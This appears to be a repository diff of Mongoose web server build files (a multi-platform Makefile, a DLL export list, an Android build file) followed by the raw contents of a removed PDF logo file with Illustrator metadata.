LUA_SQLITE_FLAGS = $(SQLITE_FLAGS) $(LUA_FLAGS) -DUSE_LUA_SQLITE3
BIG_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 \
-DSQLITE_ENABLE_FTS3_PARENTHESIS \
-DUSE_LUA -DUSE_LUA_SQLITE3 -DUSE_SSL -DUSE_CYASSL $(YASSL_FLAGS)
# Using Visual Studio 6.0. To build Mongoose:
# Set MSVC variable below to where VS 6.0 is installed on your system
# Run "PATH_TO_VC6\bin\nmake windows"
MSVC = ../../vc6
#DBG = /Zi /Od
DBG = /DNDEBUG /O1 $(CFLAGS_EXTRA)
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /I$(MSVC)/include /I.. /I.
LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
LINK = $(MSVC)/bin/link $(LINK_FLAGS)
ifeq ($(OS), Windows_NT)
EXE_SUFFIX = .exe
else
UNAME_S := $(shell uname -s)
ifeq ($(UNAME_S), Linux)
CFLAGS += -ldl -lm
endif
endif
all: mongoose$(EXE_SUFFIX)
# Make sure that the compiler flags come last in the compilation string.
# If not so, this can break some on some Linux distros which use
# "-Wl,--as-needed" turned on by default in cc command.
# Also, this is turned in many other distros in static linkage builds.
$(PROG): $(TINY_SOURCES)
$(CC) $(TINY_SOURCES) -o $@ $(CFLAGS)
$(PROG)-lua: $(TINY_SOURCES) $(LUA_SOURCES)
$(CC) $(LUA_SOURCES) -o $@ $(LUA_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite: $(LUA_SQLITE_SOURCES)
$(CC) $(LUA_SQLITE_SOURCES) -o $@ $(LUA_SQLITE_FLAGS) $(CFLAGS)
$(PROG)-lua-sqlite-ssl: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(BIG_FLAGS) $(CFLAGS)
$(PROG)-big: $(BIG_SOURCES)
$(CC) $(BIG_SOURCES) -o $@ $(CFLAGS) $(BIG_FLAGS)
unix_unit_test: $(LUA_SOURCES) Makefile ./test/unit_test.c
$(CC) ./test/unit_test.c lua_5.2.1.c $(CFLAGS) -g -O0 -o t && ./t
# Windows build
$(PROG)-lua-sqlite.exe: $(LUA_SQLITE_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SQLITE_SOURCES) $(LUA_SQLITE_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua-sqlite-ssl.exe: $(BIG_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(BIG_SOURCES) $(BIG_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG)-lua.exe: $(LUA_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(LUA_SOURCES) $(LUA_FLAGS) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).exe: $(TINY_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) $(TINY_SOURCES) /link $(LINK_FLAGS) res.res /out:$@
$(PROG).dll: $(TINY_SOURCES) Makefile
$(CL) ../mongoose.c /Gz /link $(LINK_FLAGS) /DLL /DEF:dll.def /out:$@
# This is broken now due to SSL exclusion
windows_unit_test.exe: ../mongoose.c Makefile
$(CL) ./test/unit_test.c lua_5.2.1.c \
/link /libpath:$(MSVC)/lib advapi32.lib /out:$@
./$@
# MacOS build with Cocoa GUI
# For codesign to work in non-interactive mode, unlock login keychain:
# security unlock ~/Library/Keychains/login.keychain
# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
macos: $(BIG_SOURCES)
DIR=dmg/Mongoose.app
rm -rf dmg
mkdir -p dmg/Mongoose.app/Contents/{MacOS,Resources}
install -m 644 *.icns *.png dmg/Mongoose.app/Contents/Resources/
install -m 644 Info.plist dmg/Mongoose.app/Contents/
$(CC) $(BIG_SOURCES) \
-DUSE_COCOA $(CFLAGS) $(BIG_FLAGS) -mmacosx-version-min=10.4 \
-framework Cocoa -ObjC -arch i386 -arch x86_64 \
-o dmg/Mongoose.app/Contents/MacOS/Mongoose
ln -fs /Applications dmg/
hdiutil create Mongoose-$(VERSION).dmg -volname "Mongoose $(VERSION)" \
-srcfolder dmg -ov
#rm -rf dmg
tests:
perl ./test/test.pl $(TEST)
tarball: clean
rm -rf $(VDIR)
install -d $(VDIR) $(VDIR)/docs $(VDIR)/examples
install -m 644 ../{LICENSE,README.md,mongoose.[ch]} $(VDIR)
install -m 644 ../docs/*.md $(VDIR)/docs
install -m 644 ../examples/{Makefile,*.c} $(VDIR)/examples
tar -czf $(VDIR).tgz $(VDIR)
release: tarball macos
wine make mongoose.exe mongoose-lua-sqlite-ssl.exe
upx mongoose.exe
upx mongoose-lua-sqlite-ssl.exe
cp mongoose.exe mongoose-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose-lua-sqlite-ssl-$(VERSION).exe
cp mongoose-lua-sqlite-ssl.exe mongoose_php_bundle/mongoose.exe
zip -r mongoose-php-$(VERSION).zip mongoose_php_bundle/
clean:
cd ../examples && $(MAKE) clean
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
*.exe *dmg* $(PROG)-* unix_unit_test
-19
View File
@@ -1,19 +0,0 @@
LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5
mg_upload
mg_download
mg_send_file
mg_get_builtin_mime_type
-12
View File
@@ -1,12 +0,0 @@
LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
# To build with lua support, uncomment two lines below:
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := build/main.c mongoose.c $(LUA_SOURCES)
include $(BUILD_EXECUTABLE)
-1883
View File
File diff suppressed because it is too large. Load diff
-17698
View File
File diff suppressed because it is too large. Load diff
-1251
View File
File diff suppressed because it is too large. Load diff
-1073
View File
File diff suppressed because it is too large. Load diff
-589
View File
@@ -1,589 +0,0 @@
%PDF-1.5␍%âãÏÓ
1 0 obj␍<</Metadata 2 0 R/OCProperties<</D<</ON[5 0 R]/Order 6 0 R/RBGroups[]>>/OCGs[5 0 R]>>/Pages 3 0 R/Type/Catalog>>␍endobj␍2 0 obj␍<</Length 16195/Subtype/XML/Type/Metadata>>stream
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 ">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpGImg="http://ns.adobe.com/xap/1.0/g/img/">
<xmp:CreatorTool>Adobe Illustrator CS6 (Windows)</xmp:CreatorTool>
<xmp:CreateDate>2013-01-02T17:27:47+01:00</xmp:CreateDate>
<xmp:ModifyDate>2013-01-02T17:27:47Z</xmp:ModifyDate>
<xmp:MetadataDate>2013-01-02T17:27:47Z</xmp:MetadataDate>
<xmp:Thumbnails>
<rdf:Alt>
<rdf:li rdf:parseType="Resource">
<xmpGImg:width>256</xmpGImg:width>
<xmpGImg:height>228</xmpGImg:height>
<xmpGImg:format>JPEG</xmpGImg:format>
<xmpGImg:image>/9j/4AAQSkZJRgABAgEASABIAAD/7QAsUGhvdG9zaG9wIDMuMAA4QklNA+0AAAAAABAASAAAAAEA&#xA;AQBIAAAAAQAB/+4ADkFkb2JlAGTAAAAAAf/bAIQABgQEBAUEBgUFBgkGBQYJCwgGBggLDAoKCwoK&#xA;DBAMDAwMDAwQDA4PEA8ODBMTFBQTExwbGxscHx8fHx8fHx8fHwEHBwcNDA0YEBAYGhURFRofHx8f&#xA;Hx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8fHx8f/8AAEQgA5AEAAwER&#xA;AAIRAQMRAf/EAaIAAAAHAQEBAQEAAAAAAAAAAAQFAwIGAQAHCAkKCwEAAgIDAQEBAQEAAAAAAAAA&#xA;AQACAwQFBgcICQoLEAACAQMDAgQCBgcDBAIGAnMBAgMRBAAFIRIxQVEGE2EicYEUMpGhBxWxQiPB&#xA;UtHhMxZi8CRygvElQzRTkqKyY3PCNUQnk6OzNhdUZHTD0uIIJoMJChgZhJRFRqS0VtNVKBry4/PE&#xA;1OT0ZXWFlaW1xdXl9WZ2hpamtsbW5vY3R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo+Ck5SVlpeYmZ&#xA;qbnJ2en5KjpKWmp6ipqqusra6voRAAICAQIDBQUEBQYECAMDbQEAAhEDBCESMUEFURNhIgZxgZEy&#xA;obHwFMHR4SNCFVJicvEzJDRDghaSUyWiY7LCB3PSNeJEgxdUkwgJChgZJjZFGidkdFU38qOzwygp&#xA;0+PzhJSktMTU5PRldYWVpbXF1eX1RlZmdoaWprbG1ub2R1dnd4eXp7fH1+f3OEhYaHiImKi4yNjo&#xA;+DlJWWl5iZmpucnZ6fkqOkpaanqKmqq6ytrq+v/aAAwDAQACEQMRAD8A9U4q7FXYq7FXYq7FXYq7&#xA;FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FXYq7FVsssUUbSyuscSAs7sQqqo3JJPQDFWOL+ZXk&#xA;Rrj6uNat/UrTkSQn/Iwjh+OR4wx4wyG3ube4iEtvKk0TfZkjYMp+RFRkmSpirsVYj+ZvnFfLPl2R&#xA;4XA1O8rDYr3BI+KT5IPxpkJyoMJyoI38vbs3fknRZmbkwtY4yx3NYh6f/GuGPJMeTIckydirsVdi&#xA;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&#xA;WP8A4l8jlmON7tmON7vd8vb3YLine truncated
</rdf:li>
</rdf:Alt>
</xmp:Thumbnails>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xmpTPg="http://ns.adobe.com/xap/1.0/t/pg/"
xmlns:stDim="http://ns.adobe.com/xap/1.0/sType/Dimensions#"
xmlns:xmpG="http://ns.adobe.com/xap/1.0/g/">
<xmpTPg:NPages>1</xmpTPg:NPages>
<xmpTPg:HasVisibleTransparency>False</xmpTPg:HasVisibleTransparency>
<xmpTPg:HasVisibleOverprint>False</xmpTPg:HasVisibleOverprint>
<xmpTPg:MaxPageSize rdf:parseType="Resource">
<stDim:w>64.000000</stDim:w>
<stDim:h>64.000000</stDim:h>
<stDim:unit>Points</stDim:unit>
</xmpTPg:MaxPageSize>
<xmpTPg:PlateNames>
<rdf:Seq>
<rdf:li>Cyan</rdf:li>
<rdf:li>Magenta</rdf:li>
<rdf:li>Yellow</rdf:li>
<rdf:li>Black</rdf:li>
</rdf:Seq>
</xmpTPg:PlateNames>
<xmpTPg:SwatchGroups>
<rdf:Seq>
<rdf:li rdf:parseType="Resource">
<xmpG:groupName>Default Swatch Group</xmpG:groupName>
<xmpG:groupType>0</xmpG:groupType>
</rdf:li>
</rdf:Seq>
</xmpTPg:SwatchGroups>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:illustrator="http://ns.adobe.com/illustrator/1.0/">
<illustrator:Type>Document</illustrator:Type>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:format>application/pdf</dc:format>
<dc:title>
<rdf:Alt>
<rdf:li xml:lang="x-default">Mongoo 3 smooth green</rdf:li>
</rdf:Alt>
</dc:title>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/">
<xmpMM:RenditionClass>proof:pdf</xmpMM:RenditionClass>
<xmpMM:DocumentID>uuid:a2f6b830-2598-49b9-8770-4f9fa14f1be3</xmpMM:DocumentID>
<xmpMM:InstanceID>uuid:42245d04-b042-4038-b450-94c7cfb8ee6f</xmpMM:InstanceID>
</rdf:Description>
<rdf:Description rdf:about=""
xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
<pdf:Producer>Adobe PDF library 10.01</pdf:Producer>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
endstream␍endobj␍3 0 obj␍<</Count 1/Kids[7 0 R]/Type/Pages>>␍endobj␍7 0 obj␍<</ArtBox[0.643066 4.46875 63.2324 59.6494]/BleedBox[0.0 0.0 64.0 64.0]/Contents 8 0 R/LastModified(D:20130102172747+01'00')/MediaBox[0.0 0.0 64.0 64.0]/Parent 3 0 R/PieceInfo<</Illustrator 9 0 R>>/Resources<</ExtGState<</GS0 10 0 R>>/Properties<</MC0 5 0 R>>>>/Thumb 11 0 R/TrimBox[0.0 0.0 64.0 64.0]/Type/Page>>␍endobj␍8 0 obj␍<</Filter/FlateDecode/Length 1251>>stream
H‰t–KŽ•7…çÿ*¼�kì²]¶§!#Y@+�A "±û|§Ü}i"E4}»ü¨Ç©SÇ÷Õ¯¯Ó«·¯Kúéç×éú|•ä]?7þùãú=ýu•Ül¤’»u~7éˇëÕ›÷%}øûúœj*ü«©ö<gÉfÞ­{zøtiãÓu«yøL–K[øÍ¥®ÄRK_Ù­oÌb5ÝêÊ}Xº�\pp«5ouµ§‡ëÖòžø°�}�ÔKøºÕ�7Oß.㪱P
Õ¼†‡Ûʹ¯—åÞ,üY›ªhN,Ï«,,ëºjyt#V˶å»äéÆîZ-vw_©åÚ”é¬ÅÙ™{ìŽ<¨¥äíÖÄ/‡ÌG˜»ê°NùЏըÙ#�Îåª"
Þw\¨»§ÇËH;ʹ�•¬e¯Ç¡¨qùýþC€Pq¸ù°D ,OrµžW·€Ö÷ÔiúÑçk¢EÓmåmç|9Φ%eÒ´Õ,"�CºÍ<F�¬¦ºÛÆÒ�ä¶:Y)žÍ¥;Í6•¨¤h#‘¢À8âɆæŽ>Ò»\µ¢(JØ\›^v@_ÈŸ= ,ñ<• Ûf€³pÒÈÐOǽˆ!,L÷XèKå²ÐK‹nP.6mj~X±ì,¬ÚO»è. 6oDh:�œw:ĉ G‡a÷Ȃh ½žŠ`ÖhJ˃,¿ÊÁò㱪€1³G›j '­ž6ì„55WÌ `mu��¢¼E*âdžpƒyé\„—¤×-C*�ß›s�ÐД'ÜÁ"=E‚N’ÕÓS¹¥B€à¤êÇ«“ÇàôŽšî64nSxq~Žž åÄŸî×%›D£†³SMSqXcXÕöV¹␍Ö[¶&Žê–è)øܼ˜ì…~¨␍H–8Â]@ôVí">vñ° „Ikw»,ãP0QºIl†§k[jHž ñªaµc¸èg-¢2*u]Ù 8®!ɰý<“:HWÈ­®U+±)·_/±E¸#^]¢R¥“”ZÒ¯èÏŒR:à„Ú‰ë–␍8}å=AOá@AXé!Øß®?¯wW•pKÏ¿ë8 ôÚIû»„Çà€"%Ãuè-£³o� “¤2æ[LZ}Ÿý…ÜJ¼M=ÄYLÔ5ö£-9°}ö›î3ñþt~Ä�ÑŽyÖÀ¯^ïæyG¯�QÖËjè�Bçå«T JãÍ”©'©¸†¯Âך™„ª"þHhßãs1Pi Ê[#!_R7i޲Ÿ|Qbgñ•xd ¢º3Bøñ±¸VC*U%irGÉÓõp•?Ì�À|ïžÔ/’˜TòŸ.z¤KÙ¥ù˲åEZ©�¦ßkÄÇûÙzГݥÈO»5ž®ç‹Ç*çXüù¼®;?8¼û‹`Ç*OçK¸ø:=ÀÒ·žnûáËDÕs/$Ò«ç»!Õ¬"²1~RÐ"Uǰ“ÿ4‰¢l�û5ð�?—Y4FßC¸ÜìÔ×$̰¿?‰jXC§7·ÓáS¢
ÇV~…a‹8´êC$èâïÝ,1_`ðÛv¥ãÿ¤žÞ¦û‰{4 qÒ¾ê;²
¼¥g¶N ôÜÃ uåm;4
ëýƒâÔ>hÒ�ê·€—ü d{ö«îŠ–2wðç:¯ù|Rƒoáþ—·|©|wý+ÀWûµ
endstream␍endobj␍11 0 obj␍<</BitsPerComponent 8/ColorSpace 12 0 R/Filter[/ASCII85Decode/FlateDecode]/Height 8/Length 60/Width 8>>stream
8;Xp,*=RnBA=+-oL^=GFM?1!l_%=Zlo8S9:+GRslKjBJT)I<XS0E>k]*Q8~>
endstream␍endobj␍12 0 obj␍[/Indexed/DeviceRGB 255 13 0 R]␍endobj␍13 0 obj␍<</Filter[/ASCII85Decode/FlateDecode]/Length 428>>stream
8;X]O>EqN@%''O_@%e@?J;%+8(9e>X=MR6S?i^YgA3=].HDXF.R$lIL@"pJ+EP(%0
b]6ajmNZn*!='OQZeQ^Y*,=]?C.B+\Ulg9dhD*"iC[;*=3`oP1[!S^)?1)IZ4dup`
E1r!/,*0[*9.aFIR2&b-C#s<Xl5FH@[<=!#6V)uDBXnIr.F>oRZ7Dl%MLY\.?d>Mn
6%Q2oYfNRF$$+ON<+]RUJmC0I<jlL.oXisZ;SYU[/7#<&37rclQKqeJe#,UF7Rgb1
VNWFKf>nDZ4OTs0S!saG>GGKUlQ*Q?45:CI&4J'_2j<etJICj7e7nPMb=O6S7UOH<
PO7r\I.Hu&e0d&E<.')fERr/l+*W,)q^D*ai5<uuLX.7g/>$XKrcYp0n+Xl_nU*O(
l[$6Nn+Z_Nq0]s7hs]`XX1nZ8&94a\~>
endstream␍endobj␍5 0 obj␍<</Intent 14 0 R/Name(svg2)/Type/OCG/Usage 15 0 R>>␍endobj␍14 0 obj␍[/View/Design]␍endobj␍15 0 obj␍<</CreatorInfo<</Creator(Adobe Illustrator 16.0)/Subtype/Artwork>>>>␍endobj␍10 0 obj␍<</AIS false/BM/Normal/CA 1.0/OP false/OPM 1/SA true/SMask/None/Type/ExtGState/ca 1.0/op false>>␍endobj␍9 0 obj␍<</LastModified(D:20130102172747+01'00')/Private 16 0 R>>␍endobj␍16 0 obj␍<</AIMetaData 17 0 R/AIPrivateData1 18 0 R/AIPrivateData2 19 0 R/ContainerVersion 11/CreatorVersion 16/NumBlock 2/RoundtripStreamType 1/RoundtripVersion 16>>␍endobj␍17 0 obj␍<</Length 1003>>stream
%!PS-Adobe-3.0
%%Creator: Adobe Illustrator(R) 16.0
%%AI8_CreatorVersion: 16.0.3
%%For: (Calum) ()
%%Title: (Mongoo 3 smooth green.svg)
%%CreationDate: 1/2/2013 5:27 PM
%%Canvassize: 16383
%%BoundingBox: 274 368 337 425
%%HiResBoundingBox: 274.1431 368.9688 336.7324 424.1494
%%DocumentProcessColors: Cyan Magenta Yellow Black
%AI5_FileFormat 12.0
%AI12_BuildNumber: 691
%AI3_ColorUsage: Color
%AI7_ImageSettings: 0
%%RGBProcessColor: 0 0 0 ([Registration])
%AI3_Cropmarks: 273.5 364.5 337.5 428.5
%AI3_TemplateBox: 305.5 396.5 305.5 396.5
%AI3_TileBox: 16.2998 -16 594.7002 809
%AI3_DocumentPreview: None
%AI5_ArtSize: 14400 14400
%AI5_RulerUnits: 2
%AI9_ColorModel: 1
%AI5_ArtFlags: 0 0 0 1 0 0 1 0 0
%AI5_TargetResolution: 800
%AI5_NumLayers: 1
%AI9_OpenToView: -285 842 1 1189 873 26 0 0 46 116 0 0 0 1 1 0 1 1 0 1
%AI5_OpenViewLayers: 7
%%PageOrigin:0 0
%AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9
%AI9_Flatten: 1
%AI12_CMSettings: 00.MS
%%EndComments
endstream␍endobj␍18 0 obj␍<</Length 19265>>stream
%%BoundingBox: 274 368 337 425
%%HiResBoundingBox: 274.1431 368.9688 336.7324 424.1494
%AI7_Thumbnail: 128 116 8
%%BeginData: 19108 Hex Bytes
%0000330000660000990000CC0033000033330033660033990033CC0033FF
%0066000066330066660066990066CC0066FF009900009933009966009999
%0099CC0099FF00CC0000CC3300CC6600CC9900CCCC00CCFF00FF3300FF66
%00FF9900FFCC3300003300333300663300993300CC3300FF333300333333
%3333663333993333CC3333FF3366003366333366663366993366CC3366FF
%3399003399333399663399993399CC3399FF33CC0033CC3333CC6633CC99
%33CCCC33CCFF33FF0033FF3333FF6633FF9933FFCC33FFFF660000660033
%6600666600996600CC6600FF6633006633336633666633996633CC6633FF
%6666006666336666666666996666CC6666FF669900669933669966669999
%6699CC6699FF66CC0066CC3366CC6666CC9966CCCC66CCFF66FF0066FF33
%66FF6666FF9966FFCC66FFFF9900009900339900669900999900CC9900FF
%9933009933339933669933999933CC9933FF996600996633996666996699
%9966CC9966FF9999009999339999669999999999CC9999FF99CC0099CC33
%99CC6699CC9999CCCC99CCFF99FF0099FF3399FF6699FF9999FFCC99FFFF
%CC0000CC0033CC0066CC0099CC00CCCC00FFCC3300CC3333CC3366CC3399
%CC33CCCC33FFCC6600CC6633CC6666CC6699CC66CCCC66FFCC9900CC9933
%CC9966CC9999CC99CCCC99FFCCCC00CCCC33CCCC66CCCC99CCCCCCCCCCFF
%CCFF00CCFF33CCFF66CCFF99CCFFCCCCFFFFFF0033FF0066FF0099FF00CC
%FF3300FF3333FF3366FF3399FF33CCFF33FFFF6600FF6633FF6666FF6699
%FF66CCFF66FFFF9900FF9933FF9966FF9999FF99CCFF99FFFFCC00FFCC33
%FFCC66FFCC99FFCCCCFFCCFFFFFF33FFFF66FFFF99FFFFCC110000001100
%000011111111220000002200000022222222440000004400000044444444
%550000005500000055555555770000007700000077777777880000008800
%000088888888AA000000AA000000AAAAAAAABB000000BB000000BBBBBBBB
%DD000000DD000000DDDDDDDDEE000000EE000000EEEEEEEE0000000000FF
%00FF0000FFFFFF0000FF00FFFFFF00FFFFFF
%524C45FD77FFA8A8FD7EFF7D58FD7EFF2D7DFD6BFF7C585283A8FD0DFF52
%5152FD6AFF52522D582D52527D7D837DFD04A8FFA8FF83585258FD69FF52
%522DA8A883522D2D522D512D522D522D5852522D5252FD68FF7D522DA7FF
%FFA8AE7D5851585258515852522D5852582D58A8FD66FFA8522D5283FFA8
%52517D58522D522D522D522D522D522D522DA8FD66FF832D5852FFFFA82D
%5852585258525852585258525852585258A8FD66FF2D522D52A8FF52522D
%5851522D5851522D5851522D5851522D83FD65FF835251527CFFFF7D2D58
%515852585158525851585258515852582DA8FD64FF582D522DA8FFA85152
%2D522D522D522D522D522D522D522D522D522DFD64FF52582D7DFFFF5258
%525852585258525852585258525852585258525858FD62FFA8582D52A8FF
%83522D5851522D5851522D5851522D5851522D5851522D527DFD61FFA82D
